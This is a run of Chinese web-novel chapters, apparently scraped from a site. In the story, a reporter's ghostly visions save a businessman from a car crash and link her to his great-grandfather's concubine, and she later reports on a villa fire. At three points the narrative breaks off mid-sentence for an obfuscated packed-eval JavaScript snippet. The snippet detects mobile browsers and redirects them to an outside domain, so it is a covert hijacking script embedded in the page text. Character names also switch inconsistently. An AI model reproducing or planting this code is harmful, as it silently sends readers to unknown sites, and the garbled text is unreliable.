许修远发现面前的颜珺瑶算是一个知情识趣的女孩,因为按照常理,大部分人在此时都会反问他有没有发生什么奇怪的事情,但她没有。 他笑了笑,“也许颜小姐听说过,在两个月前,我父亲出车祸离开了。” 颜珺瑶抬眸,而后很快垂下眼睫,低声说了句:“节哀。” “我不知道这和我们的事情有没有关系,但我父亲的车祸我还有一些想不通的地方。” 听到这话,颜珺瑶猛地抬头,双眼中尽是惊恐。 关于那场车祸,不管是媒体新闻,还是许氏集团发布的讣告,都说的是意外。她也了解过,确实是意外无疑,只是一直有些奇怪许耀中的车子当时为什么突然停下,可这一点,新闻里却都没有报道出来。也许是许氏集团在当时那样的情况下,不想再引起外界更多无端的猜测,所以才会如此。 可是现在,许氏的继任人,居然告诉她许耀中的车祸有蹊跷?! 不应该啊,许修远目前压根就不信任她,他为什么突然告诉她,他就不担心她会偷偷泄露出去吗? 当然,她是有道德底线,有良心的人,不会拿已故之人来炒热度。 颜珺瑶等着许修远的下文,但对方却不再继续这个话题。 “我们在餐厅见面的那一次,你晕倒是因为突然看到我,受到惊吓是吗?” 颜珺瑶又端起咖啡喝了一口,盯着桌面。 “算是吧。 我——我之前以为自己只是因为生病所以出现了幻觉,没想到——” 两人都沉默了片刻,许修远突然问道:“颜小姐,听过君平这个名字吗?” 颜珺瑶震惊地看向许修远,他居然——他居然也知道? 对方的表情已经说明了一切,她听过这个名字。 “君平是我的太爷爷。” 自己梦到的那个女人怎么会叫着许修远太爷爷的名字,这太诡异了! 颜珺瑶觉得头疼,那个女人该不会是想让她查许修远的太爷爷吧? 哎,等等—— 许修远怎么会突然提到他太爷爷? 难道他也梦到了那个女人? 她觉得自己额头上的冷汗似乎冒出来了。 “颜小姐是在哪里听说过这个名字?” 颜珺瑶一时不知道该不该说实话,温吞道:“我——我不记得了。” “其实君平这两个字,不是我爷爷的名字,只是他的字而已,很少有人了解,甚至我也是刚得知的,颜小姐如何知道的呢?” 颜珺瑶的心跳开始不稳,动了动唇,刚要开口,却发现突然像是失了声,说不了话了。 “实不相瞒,那两个晚上,在看到你之前,其实在我眼前先出现的是一个穿着旗袍的女人。” 心脏突突跳着,快得不像样,颜珺瑶颤着声问道:“是——是我吗?” 也许那名网友说得对,这些事情的背后真的有所谓的玄学大佬在操控,而她和许修远都是棋子? 许修远微眯了下眼,“所以那两个晚上,你也看到过?” “不,那两个晚上,我只看到你,没有看到什么穿旗袍的女人。” 许修远一瞬不瞬地看着她,“她长得和你挺像的,但她不是你。” 颜珺瑶只觉得脑子里一团乱麻,不想再待下去,她需要先好好冷静一下。 “我不知道她是谁,对不起,我想先走了。“ 话音刚落,颜珺瑶就腾地站了起来,许修远也跟着起身。 “好,我送你,顺便去取那个水晶摆件。” 颜珺瑶犹豫了两秒,点了点头。 * 车子驶入车流,周末的市区分外拥挤。 车子在路上走走停停了许久,终于到了另一个区的一个奢侈品店。 许修远下了车,颜珺瑶跟着进了店,很快一个店员就取了一个盒子交到了许修远的手上。 “你打开看看,看一下修补地满不满意。”许修远将盒子递给颜珺瑶。 颜珺瑶打开盒子,迅速地瞅了一眼,不好意思仔细瞧。无论如何,这东西都是她主动砸出去的,即使摔坏了,她也只能认了,怨不到别人身上。 “谢谢你。” 许修远笑了笑,“走吧,我送你回家。” 走出店铺,重新坐上车子,颜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15951145|177567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 珺瑶突然觉得非常累。 看了眼时间,不到六点,这才出来一个多小时,怎么会累成这样,明明这段身体已经好转了不少。 车窗外,一切似乎都在飞速后退。 渐渐地,颜珺瑶开始觉得自己的呼吸变得有些急促,视线不受控地往许修远的手上瞧去。 他的双手正放在方向盘上。 她的手,缓缓地伸了过去,颤抖着搭在了许修远的胳膊上,可下一秒却又迅速地被她抽了回来。 颜珺瑶瞪大了眼睛,刚刚自己到底怎么了? 为什么脑子里会有一股强烈的冲动想要去抢他的方向盘? 她是疯了吗? 许修远察觉到颜珺瑶的动作,侧头瞧了一眼,“怎么呢”三个字还没出口,却被颜珺瑶的状态有些惊到。 她的脸色比刚才在餐厅的时候惨白了不少,呼吸频率有些快,看起来像是不太舒服的样子。 他忙问:“颜小姐,你怎么呢?” 颜珺瑶摇摇头,勉强挤出一个微笑,“没事,就是觉得有点闷,可以——开一下车窗吗?” 许修远将两侧车窗降下,又看了她一眼,颜珺瑶似乎好了一些,呼吸顺畅了,所以刚才是因为晕车? 他稍稍放了心,继续专心开车。 但过了没多久,突然又感觉到颜珺瑶将手搭到他胳膊上,不,这一次是直接放到了他的手上。 和上一次一样,刚刚挨上,颜珺瑶的手又迅速地收了回去。 “……” 许修远狐疑地瞥向内视镜,发现颜珺瑶的状态非常不对劲,额头上冷汗涔涔,放在脖子上的手都在微微颤抖。 “你怎么呢?”许修远急忙问,“颜小姐——” 快要陷入昏迷状态的颜珺瑶几乎都听不清楚他说的话,只能拼劲全力地想要喘气,用手抓着自己的脖子。 那种被人用东西勒住脖子的窒息感又出现了,她快要无法呼吸了。 * 迷迷糊糊中,颜珺瑶费力地撑开眼皮,猛地看到车前不远处摇摇晃晃地走来一个小女孩,穿着鹅黄色的小旗袍。 小女孩—— 颜珺瑶一下子瞪大了眼睛,是那个小女孩。 是车祸那天,她看到的那个小女孩。 “你是有哮喘吗?颜小姐——” 许修远减缓车速,正打算靠边停下问清楚颜珺瑶的情况。 突然,颜珺瑶使劲浑身力气,用力抓住他的手臂,双眼通红地看着许修远,嘶哑着嗓子,断断续续地挤出几个字。 “快开走,快,别停,快——” 许修远不明所以,只好继续往前开。 他转头又看了一眼,不放心地问道:“你是有哮喘吗?身上带药了没?” 刚问出口,突然想起来上一次送她去医院,要是他没记错的话,医生好像是判断她没有哮喘的。 可她现在这症状—— 颜珺瑶已经没有力气睁开眼皮,颤抖着嘴唇低声道:“不是——” 不是什么? 砰—— 许修远还没听清楚她说了什么,蓦地就听见背后不远处传来剧烈的一声“砰”,伴随着汽车轮胎在地面摩擦的声音。 后视镜里,差不多就在他刚刚打算停车的地方,两辆车子撞上了。 他的手瞬间握紧了方向盘,如果刚才自己停车了,那现在被撞的可能就是他了。 幸亏—— 他转头去看女主,几乎是同时,他的右手臂又猛地被抓住。 颜珺瑶痛苦地用右手抓着自己的领口,喉咙里发出一声痛苦的嘶哑的“啊——”,她觉得自己快要死了,为什么又出现这种情况了? 在她彻底陷入黑暗前,耳边似乎飘着小女孩稚嫩又惶恐的声音。 爸爸,妈妈—— 18. 第 18 章 爸爸,妈妈—— 我好疼啊,你们在哪里啊,我好疼啊—— 脑海中不停地出现一个小女孩惊惶无助的声音,一股无法遏制的悲伤涌上心头。 颜珺瑶想回应她,想向小女孩跑过去,可她却身处一片黑暗,像陷入泥淖中,越挣扎陷得越深,越醒不过来。 “哎呦,这姑娘怎么哭了?” 坐在病床边上的护工杨阿姨注意到颜珺瑶眼角缓缓落下的泪水,有些诧异,连忙抽了张纸,边擦边嘀咕道:“这是难受呢还是梦到什么伤心事,睡着睡着怎么流眼泪了? 许修远站在窗边,回头望向病床上的颜珺瑶。他想起刚才医生对颜珺瑶的初步判断,排除脏器性病变,也没有哮喘,很有可能是心理因素造成的。 酒店大厅那一次,如果他没记错的话,她当时也是差不多的情况,一只手拽着衣领,似乎喘不上气,随后便晕倒了,但这次情况似乎更严重。 难道她每次和他见面都会出现类似的情况? 如果说第一次是因为乍然见到而受到惊吓,那今天呢?似乎并没有受到什么惊吓。 不知道那一次在何老师傅的店里见过他,在她离开之后有没有类似的状况。 杨阿姨见许修远一直站着,便笑着说道:“许先生先坐会吧,说不定这姑娘还有好一会儿才醒呢!” 许修远笑了笑,“没事,今晚要辛苦您了!” 杨阿姨摆了摆手,“您太客气了。” 许修远看了眼墙上的挂钟,七点二十五了,颜珺瑶已经昏睡了将近一个多小时,按医生的判断,应该快醒了。 他走到病床的另一侧,一瞬不瞬地看着她。 突然,他注意到颜珺瑶的眼睫在颤动,似乎在费劲地撑开眼皮。 这是要醒了。 * 果然,下一秒,颜珺瑶睁开了眼睛,第一秒先是茫然,在看到许修远的那一刻不禁愣了下,随后便回想起自己不久前又出现了那种可怕的窒息感。 在失去意识的前几秒,她还以为自己这一次就那么活活被勒死了,虽然她很清楚当时脖子上根本没有什么类似绳子的东西。 她下意识伸手摸了下自己的脖子,就见许修远对着她笑了笑,“你醒了,现在感觉怎么样?” “没事了,谢谢你。” 这一次,不,两次都是多亏了许修远把她及时送到医院,就冲这一点,她也得感谢他。 一旁的杨阿姨见状,笑道:“许先生一直在这里守着你呢,总算是醒来了,要坐起来吗?” 颜珺瑶看到杨阿姨,愣了一下,随即从她身上的衣服猜测她应该是许修远为她请来的护工,便对她笑笑,“好,麻烦阿姨了!” 杨阿姨走到床尾,把病床摇了起来,又倒了杯温水给她。 许修远这时候突然说道:“杨阿姨,麻烦您帮我到对面的中餐厅买两份晚餐。” 杨阿姨愣了下,随即明白过来,离开了病房。 许修远这才坐在了病床边,清了清嗓子,看着颜珺瑶说道:“医生说你的脏器没有任何问题,也没有哮喘。” 颜珺瑶点点头,叹了口气,“嗯。” 这个情况她知道,之前因为反复低烧,做过很全面的检查,没查出什么病因。好不容易不发烧了,现在又动不动喘不上来气,不知道什么毛病。 “医生说,很可能是心理原因。” 心理原因? 颜珺瑶的手微微颤抖了一下,一时不知道该说什么。 “谢谢,今天又麻烦你了。” 病房里安静了片刻,许修远很郑重地说道:“不,是我该谢谢你!” 颜珺瑶皱了皱眉,不解地问道:“什么?” 许修远定定地看了看颜珺瑶,“刚才如果不是你让我不要停车,被撞的可能就是我的车子。” 颜珺瑶这才全都想起来了,不由地瞪大了双眸,莫名地心烦气躁起来。 那个小女孩—— 她又看到了那个小女孩,而且也是在车前。 那一瞬间,她脑子里闪过许修远父亲出事的那一天,直觉不能让许修远停车,否则可能会和他父亲一样。 而正是她的直觉,让她和许修远都躲过了一劫。 可令她不解的是的是,不知道为什么,她一坐上车子,就觉得像中了邪,脑子里不受控地跳出一个可怕的念头,那就是去抢夺许修远的方向盘,万幸被她的理智压制住了。 是谁在控制她?那个小女孩吗? 颜珺瑶深吸了一口气,心里的烦躁更甚,勉强弯了下唇角,摇头道:“其实我也是在自救。” 许修远顿了片刻,想了想又问道:“冒昧问一句,当时你为什么让我不要停车呢?” 那股子难受的劲又上来了,颜珺瑶拍了拍胸口顺气,又揉了揉太阳穴。 “我——我当时——许先生,你相信有鬼神的存在吗?” 许修远愣了一瞬,不答反问:“为什么这么问?” 颜珺瑶的呼吸开始变得费力,“我看到——一个——啊——” “颜小姐,你怎么呢?” 颜珺瑶又喘不上气了,双手用力抓着脖子,试图将那脖子上不存在的桎梏除掉,但无果。 许修远急忙按了呼叫铃,不多久,医生和护士很快就进了病房。 许修远退出了病房等着,这时杨阿姨拎着两份餐食回来了,一看医生护士在病房里就猜到是颜珺瑶又不舒服了。 许修远嘱咐道:“您今晚可能要多费心,辛苦您了! 想到许修远给的高出市场价不少的陪护费,杨阿姨心里高兴的很,忙说道:“您快别这么说,都是应该做的,您放心好了,我干这一行已经有好几年了,一定会看护好的。” * 很快,病房的门被打开,医生和护士从里面出来。 许修远询问情况,医生说是因为情绪激动,问题不大,目前需要好好休息。 许修远沉默了片刻,谢过医生才重新进入病房。 颜珺瑶正躺在病床上,睁着眼睛瞧着病房门口,看着很是虚弱。 “许先生,你相信吗?” 杨阿姨刚放下餐盒,瞅了瞅两人,没有说话。 许修远走到病床前,倒了杯水,“喝水吗?” 颜珺瑶摇头,执着于他的回答,“你相信吗?” 许修远知道她问的是什么,“颜小姐,以前我不信,但最近,我改变了想法。 你先好好休息,明天早上我再来看你,今晚杨阿姨会在这里照顾你。” 许修远正要离开,杨阿姨突然叫他,“许先生,你吃了再走吧!” “另一份是给您准备的。” * 许修远离开后,颜珺瑶简单地吃了两口晚饭,便没了胃口。 躺在病床上,出神地想着这两个月来发生的事情。 所以小女孩,那个旗袍女人,以及许耀中和许修远,或者可以说是许家,他们都是有关系的。 可自己又怎么会被牵扯进去呢?她和许家在此之前,一丝一毫的交集都没有。 难道仅仅只是因为所谓的流年不利? * 次日早上,许修远如约来到病房看望。 颜珺瑶刚吃完早饭,脸色比起昨晚已经好了不少。 杨阿姨眼尖,第一时间就看到许修远出现在病房门口,忙笑着打招呼。 颜珺瑶没想到许修远居然真的会再次过来,有些吃惊地看着他。 “今天感觉怎么样?” 颜珺瑶点点头,“好多了,谢谢你,还有杨阿姨昨晚一直陪着我,很辛苦。” 顿了下,又问道:“你——你吃过早饭了吗?” 许修远点了点头,吃过了。 颜珺瑶知道他来找自己应该是想知道昨天的事情,“耽误你一点时间,我想跟你说点事情。” 杨阿姨一听这话,赶紧找了个借口离开了病房。 “好,不着急,你说。”许修远坐在了病床边的凳子上。 颜珺瑶酝酿了片刻,旧话重提,“许先生,你真的相信鬼神吗?” 许修远凝视了女主半晌,“以前我真的不相信,但自从经历了那两个晚上,我开始动摇了。” 颜珺瑶咽了咽口水,低头抠了下手指,说道:“也许接下来的话会有些唐突,希望你别介意,是和你父亲有关的。” 许修远愣了下,没想到她会突然提到自己的父亲,点点头,“你说。” “你——你看过你父亲车祸当时的路段监控吗?” “看过——”许修远再次点头,难道颜珺瑶当时就在现场,她注意到了什么? “监控里,你有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15951146|177567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看到当时路上有什么孩子吗?” 许修远瞳孔一缩,孩子? “有吗?”颜珺瑶有几分急切。 许修远摇头,“你看到了?” “嗯——”颜珺瑶看着许修远的眼睛,心里有些打鼓,不知道他究竟有没有相信自己。 “大概三四岁的样子,穿着鹅黄色的小旗袍,我看到她在马路上乱走,就在你父亲的车子前面,当时也只有你父亲的车子停了下来,但紧接着车祸就发生了。 说到这里,她端起床头柜上的一次性纸杯喝了一大口水,压下了缓缓上涌的恐慌,继续说道:“之后我晕倒在路边,也被送到了最近的医院。后来我问护士,发现车祸的伤员就没有什么小女孩,没有,全是男性。之后我又多次查证,确认当时车祸发生的时候根本就没有什么孩子出现。” 许修远回想起车祸那天的事情,心里仍是会像被刀绞一般。 当时他刚好在外地出差,接到消息就立即赶了回来,到医院的时候已经到夜里十一点多了。父亲确实出了手术室,但两个小时候情况再度恶化,没能抢救过来,就那么离开了。 颜珺瑶捏紧了手里的空纸杯,“我一度以为是自己出现了幻觉,但昨天——昨天——” 许修远似乎猜到了什么,微微眯了眯眸,“昨天你在车上的时候又看到那个小女孩,所以你才让我不要停车的?” 颜珺瑶冷不丁打了个寒颤,用力点点头,“嗯,我又看到了,而且我发现她突然出现的位置差不多就是那次车祸发生的地方。没想到又发生了一起车祸,太——太可怕了。” 许修远沉默了半晌,“颜小姐,你——从小就能看到那些吗?” “没有,我不是阴阳眼,但我确实看到了。”颜珺瑶停了下来,顿了顿,“许先生,你相信我说的话吗?” 许修远看着她,神色认真道:“相信。” 他并不怀疑颜珺瑶的话,但为什么她能看到那个小女孩,而且又和旗袍女人长相那么相似呢?偏偏那个女人很可能就是太爷爷的姨太太。 闻言,颜珺瑶暗暗松了口气,“许先生,我觉得,那个小女孩好像是针对——你家里人,你以后开车还是避开那个路段。” 许修远的脸上露出笑容,“谢谢,我会的。” 对于许修远的这句谢谢,颜珺瑶觉得受之有愧,毕竟自己昨天差点—— 如果不是自己有一定的意志力,可能还没见到那个小女孩之前,她就会在车里抢起了方向盘,最后可能还是会发生车祸。 但为什么自己见到许修远的这两次,两次都进了医院? 难道这就是所谓的八字不合? 不过现在东西已经拿回来了,而且也提醒过了,自己以后应该和他没什么交集。 许修远突然问道:“某小姐,可以告诉我你为什么知道我太爷爷的名字吗?” 颜珺瑶扯了下被子,叹了口气,“其实我在昨天见你之前,压根不知道那是你太爷爷的名字,我只是在梦里听到过君平两个字。” 居然是梦里听到的? “你梦到了谁?” 颜珺瑶顿觉脑子里混乱的很,“是一个年轻女人,穿着旗袍,好像是我自己,但应该不是,我不知道她是谁,就听到那个女人叫了一声君平。” 她抬眸,看着许修远,“你昨天说,你见过一个和我长相相似的人,我觉得和我梦到的应该是同一个人。” 许修远也认为,颜珺瑶梦到的女人就是他在那个房间看到的旗袍女人。 这样的话,那就太多巧合了。 那个小女孩,还有旗袍女人,她们的目的貌似是许家,可颜珺瑶怎么会牵扯其中? 她和那个旗袍女人以及太爷爷,不,确切地说,是她和许家到底有什么关系呢? 许修远沉默了几秒,才问道:“颜小姐有什么打算?” 颜珺瑶被这么突然一问,一时没反应过来,“什么?” “你突然能看到那些,想过怎么处理这个问题吗?” 颜珺瑶抿抿唇,“我回去之后问问长辈。” 许修远点点头,看了眼腕表,“你好好休息,之后如果有什么需要,可以联系我,也许我能帮上忙。” 颜珺瑶讪讪一笑,“谢谢许先生。” 自己还是和他少接触为好,对他也好,对自己也好。 19. 第 19 章 颜珺瑶这几天尤为勤快,任劳任怨,过得相当充实。 但偶尔也会在心里嘀咕两句,偷偷地磨牙。 上次她在许修远的车上犯病,第二天请了半天假,下午回到台里,她心里多少有些不踏实。 这已经是她近期第二次请假了,虽然她并没有撒谎,确实都是因为身体原因请假,但还是担心主任会不高兴,会单独找她谈话。 次日的晨会,她就清楚了主任到底高不高兴,因为他就差点名说她了。 “最近这大半个月任务多,我们也来了两个新的小伙伴,大家都辛苦了。台里就下了安排,接下来估计也会比较忙,希望大家一定要注意身体,休息的时候要多锻炼锻炼,这样才能强身健体嘛,不然三天两头的生病请假,不仅影响工作,而且自己也难受不是。咱们这一行业,就是得能吃苦,不能太娇气——” 在场的不少人都听出来主任含沙射影地在说谁,因为这半个月请病假的只有一个人,不禁都瞥了一眼。 颜珺瑶只觉得自己的脸腾地一下烧了起来,抿着唇,微微垂着眼,心里又是愧疚又是气恼。 她请假确实影响了工作,但她也不愿意生病。主任居然当着这么多人的面,就这么水灵灵地说出来了,就不能私下里单独找她训话吗? 真是讨厌! 颜珺瑶敢怒不敢言,可能怎么办呢?只能受着了,因为和别人比起来,今年她确实是频繁请假。 而且,谁让她是牛马呢! 算命的老先生不是说她是享福的命吗?一点都不准! * 又下雨了,下了一整夜的大雨,翌日却天光大好。 一大早出门的时候,颜珺瑶瞧见了若隐若现的彩虹,顿感心情舒畅。 嘿,今天肯定是个好日子。 下午四点左右,栏目组接到热线电话,说是东城的一个别墅区出现火灾,颜珺瑶立刻跟着江成出发。 到了目的地,消防人员正在忙碌,一辆消防车正停在失火的别墅前,边上围了不少看热闹的人。 火势不算很大,不过房子里损毁的挺厉害的,幸运的是火势并没有蔓延到左右。 颜珺瑶先是采访了围观群众,了解了一下基本情况。 火是从二楼突然烧起来的,玻璃碎裂,浓烟外散,这才有人察觉,打了消防电话,而失火别墅的业主,此刻还未赶过来。 一位七十多岁的齐姓奶奶拉着颜珺瑶的手,冲着摄像机像是闲话家常一般就说开了。 “哎呀,这个小史,买了这栋房子也不见他怎么住,半个月都不见他过来一趟,倒是安排了一个阿姨每天都过来打扫卫生,给他妈妈上香。说不定这火就是香引起的呢!” “他妈妈我认识的呀,搬过来之前我们两家也是邻居的,顶好的一个人,生病没了,小陈很孝顺的呀!” 旁边的一位中年阿姨突然指着不远处说道:“那不就是史大军的车嘛!” 颜珺瑶侧头看去,不远处一辆黑色轿车刚刚停好,从车上下来一位三十多岁的男人。 这就是失火别墅的业主史大军啊,但似乎看起来并不着急,如闲庭信步一般,施施然往这边走,就跟着火的不是他的房子一样。 身旁的齐奶奶看到陈军赶过来,着急地喊起来。 “小史呀,你房子着火了,早给你打电话了,这会儿才来呢!” 史大军听到,这才快走了两步。 颜珺瑶迎了上去,做了自我介绍,并询问对方是否愿意接受采访。 史大军嘴角噙着笑,但眼里却没有笑意,就这么意味不明地盯着颜珺瑶看。 “……”颜珺瑶想了想,轻咳一声,又道:“您要是觉得不想露脸的话,我们可——” “呵——”史大军轻笑了一声,打算她的话,“成,这会儿也进不去。” 太好了! 颜珺瑶正准备开口,史大军却自顾自地说了起来,不给她提问的机会。 “刚才齐阿姨给我打电话了,你瞧,这火就是从二楼前面这个房间烧起来的,里面供奉着我妈的牌位。她生前喜欢安静,喜欢住在向阳的房间,我听说这个别墅区环境好,又安静,所以就买了这栋房子。” “……” 听到这话,颜珺瑶的第一个想法就是,真有钱啊,专门买了一栋房子供奉母亲的牌位,可转念一想,又觉得怎么有点怪怪的。 史大军还在继续:“大概是我妈见我不常来,生气了,所以就烧起来了。” 说到这里,他轻哼了一声,语带嘲讽道:“这别墅区叫云顶别墅,属水的,都没能压住她老人家的火气。” 齐奶奶这时插了一句:“小史还是很孝顺的,你以后要经常过来才好呢!” “美女——”他将视线再次落在颜珺瑶的脸上,笑起来,“你肯定是想问我,我现在是什么心情,里面损失大不大。” “那您——” 史大军再次打断她,“心情挺平静的,回头再重新装修吧,我妈生前老说越烧越旺,就当是她老人家让我再旺一次吧!” 这时,火势已经基本控制住了,史大军抬了下手,径直朝别墅走去。 “……谢谢您的配合——” * 回到台里,已经过了下班时间,颜珺瑶开始忙着写稿子,剪片子。 刚从机房出来的吕嫣看到颜珺瑶,兴奋地跑到了她身边,搂住了她的肩膀。 “你回来啦!”她突然压低声音,“哎,你听说了吗?老江的事——” 颜珺瑶手上的动作顿住,“什么事?” “你没注意到今天上午主任叫了老江去办公室吗?听说是——哎呀,老江好像往这边来了——” 吕嫣松开了颜珺瑶,给她塞了一粒巧克力,又道:“明天告诉你,我先走啦!” 吕嫣刚走没一会儿,颜珺瑶就看到师傅拿着手机从她工位经过,出了办公室。 师傅出什么事了? 颜珺瑶收回视线,把巧克力剥了放到嘴里,继续埋头工作。 等到忙完,从机房出来,已经很晚了。 办公室的人基本都走了,江成还在,似乎是在等她。 “走吧,我送你回去。” “嘿嘿,谢谢师傅!” 颜珺瑶笑起来,和江成一起下楼。 车子上了路,颜珺瑶说起了几个小时前的那场火灾,还有史大军。 “这个陈大军真有钱啊,别墅被烧了,一点都不心疼。就是——感觉有点奇怪,有些人买了房子做骨灰房,但他是专门买了一栋别墅,而且还是云顶别墅区的房子,多贵啊,就为了供奉他母亲的牌位。” 她转头看江成,“师傅,你觉得呢?” 江成笑了笑,“越有钱的人越讲究,特别是阴阳风水方面。我听说过他,他是六七年前左右突然发家的,现在确实颇有资产。” “听说过修墓要注意这些,但是供奉牌位也要讲究吗?有些人不都是直接在家里供奉吗?”颜珺瑶若有所思,嘀咕道:“这个史大军感觉怪怪的。” “刚才他向我打听你——” “……啊——”颜珺瑶一下子瞪圆了眼睛,惊诧道:“他——打听我做什么?” “问你有没有对象,还有你的出生年月日,手机号。你放心,我没告诉你。” “……” 颜珺瑶无语,要是没听错的话,刚才那些邻居说过这个史大军可是已婚,孩子都上小学了。 可真是——神经病啊! “我猜他有可能会想办法继续打听你,”江成轻咳了一声,“不过这个史大军已经结婚了,二婚,刚结婚两年。” “师傅放心,我不会搭理他的。” 江成淡淡地“嗯”了一声,想起另一件事,于是又道:“有一件事,要问问你的意见。” “啥事?”颜珺瑶好奇。 “台里安排我去采访许忠林,就是上次出车祸的许耀中的父亲,如果你愿意去的话,到时候我带你一起。” “……”那不就是许修远的爷爷! 之前听同事说过,从去年至今,台里好像几次都想采访许家的人,但是都被婉拒了。 颜珺瑶不禁问道:“这不是经济频道那边的事吗?为什么会让我们这边负责呢?” 江成眉心微动,“台里领导让我去帮忙。” 颜珺瑶突然有点愤愤,虽然师傅之前是财经记者,但五年前就已经不在经济频道待了,而且还是被经济频道的一个领导给陷害了,现在怎么又找师傅帮忙呢?真是好意思。 “师傅,我跟你一起去。” 江成点点头,“这周六,到时候去许家老宅采访,离今天去的云顶别墅区不远。” 颜珺瑶转了转眼珠子,“这个许老先生突然答应采访,是因为两个多月前许氏集团出的事吗?” “有可能,许耀中车祸离世,之后许氏集团内部出现不小的震荡,现在许老爷子愿意接受采访,应该也是想向外界传递一个讯息,许氏集团一切如常,以免外界瞎猜乱传。” * 翌日,颜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你来台里已经四年了,肯定听说了不少事情——”吕嫣扯了扯他的袖子,“你知道老江和许忠林的关系吗?” 颜珺瑶一眨不眨地睁着大眼睛,同样期待着张熙杰的回答。 张熙杰瞥了她一眼,有些想笑。 “七年前,老江采访过许忠林,听说对方很欣赏他,还邀请他去许家的公司工作,老江婉拒了。后来老江的妻子生病,许忠林恰好在医院碰到了老江,就帮忙联系了一个好医生,所以老江一直很感激许忠林。” 颜珺瑶恍然大悟,原来如此。 * 许修远接到何老师傅的电话。 电话里何老师傅告诉许修远,他在家里的旧相册里确实找几张旧照片,其中一张是他父亲与许修远的太爷爷还有一个年轻女人的合影,应该是旗袍店开业当天拍的。 何老师傅突然在电话那头问许修远:“上次在我这里碰到的那个姑娘,你和她熟悉吗?” “不熟悉,只是见过几次,您——怎么突然说起她?” 所以照片上的女人确实和颜珺瑶长相相似?! 果然如此。 何老师傅笑了笑,“说出来你可能不太相信,她和旧照片上的这个女人,长得挺相像的。还有一件事,她在我这里留了一张旗袍的手稿。” 许修远当天傍晚就再次去了何老师傅的店里。 何老师傅总共找到了三张旧照片,那张三人合影的照片上,年轻女人身上的旗袍恰好就是许修远要定做的那件。 何老师傅又把一张画稿推到了许修远面前,“你看看,这是那个小姑娘放在我这里的,那天她过来,想让我按照她画的图做一件旗袍。太巧了,她画的旗袍,和你要做的正好是同一件。” 说着,何老师傅从三张照片里面抽出那张合影,指着照片又道:“就是这一件,所以我才多嘴问你和她是否熟悉。” 想做一件旧时的旗袍,这并不奇怪,有可能是这姑娘在哪里看到了什么老照片,觉得喜欢就想做件同款,毕竟当年父亲设计的不少款式在当时还挺受欢迎的。但这个姑娘居然和几十年前的一个人长相如此相似,而且还和许修远一样,是要定做同一款旗袍,这就不得不让人感到匪夷所思了。 即使来之前,已经有过猜测,但亲眼看到旧照片上的女人,以及颜珺瑶的画稿,许修远还是无法不震惊。 “她以前来过您这里做过旗袍吗?” 20. 第 20 章 何老师傅很肯定地说道:“没有,那个姑娘我也是第一次见。而且这件旗袍的款式已经很久没有人定做了,现在更流行改良版的款式。” 许修远心里顿时生出古怪的感觉,颜珺瑶即使梦到过那个穿旗袍的女人,可她为什么要做这件旗袍呢? 就算她觉得这件旗袍好看,但却是在梦里看到的,做好之后,穿在身上不会觉得害怕吗? 放下画稿,许修远深吸了一口气,重新又拿起那三张照片,正反面都看了看。 “何爷爷,您知道这个女人的名字吗?” 何老师傅呵呵笑了声,“我父亲晚年的时候,经常说起许家太爷,就是你太爷爷,感激他当年的帮助,我看到照片之后,确实依稀想起他还曾经提到过一位夫人,我父亲称呼她为二太太,说她很喜欢他的手艺,经常上门找他做衣服,我想应该就是照片上的这位。” 二太太。 这个女人确实就是太爷爷娶的二太太,她当年进了许家的门,可家里却似乎没有她存在过的痕迹,一张照片都没有。 再多的何老师傅就想不起来了,许修远道过谢,起身离开,何老师傅依旧送他到院门外。 拉开车门,许修远突然想到一件事,对着正站在院门口的何老师傅说道:“何爷爷,我做的那件,就按照颜珺瑶的尺寸来做。” * 周六下午两点左右,颜珺瑶坐上江成的车子,前往许家的老宅。 出发前,颜珺瑶才知道,原来今天去许家老宅的只有她和师傅,许老先生只接受文字采访。 她想了想,猜测许老先生不想出现在镜头前,大概是不想让外界通过他的个人状态而胡乱臆测。 如果状态太差,也许会被某些人质疑许氏集团的真实状况到底如何。要是精神尚可,估计也会有人觉得老人家冷心冷清,居然这么快就走出了丧子之痛,更甚者估计又会开始怀疑车祸的“真实”原因。 这个世界,总不缺少喜欢胡说八道,断章取义,自以为是的人,包括某些媒体。 一路上,颜珺瑶没怎么说话,看起来有些紧张。 江成察觉到颜珺瑶的状态,便安慰道:“我跟许家那边说过会带个同事过去,那边事先同意了,待会儿你只要负责记录,不用紧张。” 颜珺瑶:“……嗯,我知道了,师傅。” 其实她紧张,并不是因为许老先生,而是因为今天不是工作日,也许许修远也会在老宅。 只要一想要之前那些事,她就忍不住打哆嗦。 她对许修远没意见,但自己每次遇到许修远,似乎都得倒霉。 她觉得这就是所谓的气场不和,八字相克,所以她真的不想碰到他。 车子进入东湖路,江成微微抬了下下巴,示意颜珺瑶看向前方,“那里就是,你以前从这里经过,应该注意到过。” 以前确实注意过这栋相对特别的建筑,因为它看起来和周边的其他建筑仿佛隔着几十年的时光,看着这栋老宅,就像是回到了那个风云变幻的年代,能听到岁月的故事。 